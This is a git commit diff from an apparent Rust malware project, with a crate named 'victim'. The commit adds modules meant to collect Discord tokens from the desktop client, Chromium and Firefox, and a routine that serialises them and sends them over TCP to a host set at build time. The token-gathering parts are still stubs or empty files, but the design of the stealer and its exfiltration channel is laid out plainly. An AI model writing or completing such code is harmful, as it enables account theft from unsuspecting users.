~/hooky

583b1720237c3c1a385879802d970ea4216e0cca — Arthur Melton 282f48e1 2 years ago
beging to get the data and send it
M config/src/lib.rs => config/src/lib.rs +1 -0
@@ 3,4 3,5 @@ use serde_derive::Deserialize;

#[derive(Deserialize)]
pub struct Config {
    pub payload: Option<String>,
    pub send_to: Option<String>,
}

M victim/Cargo.lock => victim/Cargo.lock +12 -0
@@ 12,6 12,15 @@ dependencies = [

]

[[package]]
name = "bincode"
version = "1.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad"
dependencies = [
 "serde",
]

[[package]]
name = "bit-set"
version = "0.5.3"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 200,8 209,11 @@ checksum = "84a22b9f218b40614adcb3f4ff08b703773ad44fa9423e4e0d346d5db86e4ebc"

name = "victim"
version = "0.1.0"
dependencies = [
 "bincode",
 "config",
 "fancy-regex",
 "serde",
 "serde_derive",
 "tempfile",
 "toml",
]

M victim/Cargo.toml => victim/Cargo.toml +4 -0
@@ 6,8 6,12 @@ edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
bincode = "1.3.3"
fancy-regex = { version = "0.10.0", optional = true }
serde = "1.0.152"
serde_derive = "1.0.152"
tempfile = { version = "3.3.0", optional = true }
config = { path = "../config" }

[build-dependencies]
toml = "0.5.10"

M victim/build.rs => victim/build.rs +3 -0
@@ 12,4 12,7 @@ fn main() {

    if let Some(payload) = config.payload {
        println!("cargo:rustc-env=payload={}", payload);
    }
    if let Some(payload) = config.send_to {
        println!("cargo:rustc-env=send_to={}", payload);
    }
}

A victim/src/all_data/discord_chromium.rs +0 -0

                    
A victim/src/all_data/discord_client.rs +8 -0
@@ 0,0 1,8 @@

use crate::data::Sends;

impl Sends {
    #[cfg(feature = "discord-client")]
    pub fn discord_client(&mut self) {
        self.discord_client_token = Some("123".to_string());
    }
} 

A victim/src/all_data/discord_firefox.rs +0 -0

                    
A victim/src/all_data/mod.rs +3 -0
@@ 0,0 1,3 @@

pub mod discord_chromium;
pub mod discord_client;
pub mod discord_firefox;

A victim/src/data.rs +35 -0
@@ 0,0 1,35 @@

use serde_derive::{Deserialize, Serialize};

#[derive(Deserialize, Serialize)]
pub struct Sends {
    #[cfg(feature = "discord-client")]
    pub discord_client_token: Option<String>,
    #[cfg(feature = "discord-chromium")]
    pub discord_chromium_token: Option<String>,
    #[cfg(feature = "discord-firefox")]
    pub discord_firefox_token: Option<String>,
}

impl Sends {
    pub fn init() -> Sends {
        Sends {
            #[cfg(feature = "discord-client")]
            discord_client_token: None,
            #[cfg(feature = "discord-chromium")]
            discord_chromium_token: None,
            #[cfg(feature = "discord-firefox")]
            discord_firefox_token: None,
        }
    }
}

pub fn get_all_data() -> Sends {
    let mut sends = Sends::init();
    #[cfg(feature = "discord-client")]
    sends.discord_client();
    #[cfg(feature = "discord-chromium")]
    sends.discord_chromium();
    #[cfg(feature = "discord-firefox")]
    sends.discord_firefox();
    sends
}

M victim/src/main.rs => victim/src/main.rs +6 -0
@@ 5,9 5,15 @@


#[cfg(feature = "payload")]
mod payload;
mod data;
mod all_data;
mod send;

fn main() -> Result<(), std::io::Error> {
    #[cfg(feature = "payload")]
    payload::run()?;
    let data = data::get_all_data();
    let sends = bincode::serialize(&data).unwrap();
    send::send(&sends)?;
    Ok(())
}

A victim/src/send.rs +8 -0
@@ 0,0 1,8 @@

use std::net::TcpStream;
use std::io::Write;

pub fn send(data: &[u8]) -> Result<(), std::io::Error> {
    let mut stream = TcpStream::connect(env!("send_to"))?;
    stream.write(data)?;
    Ok(())
}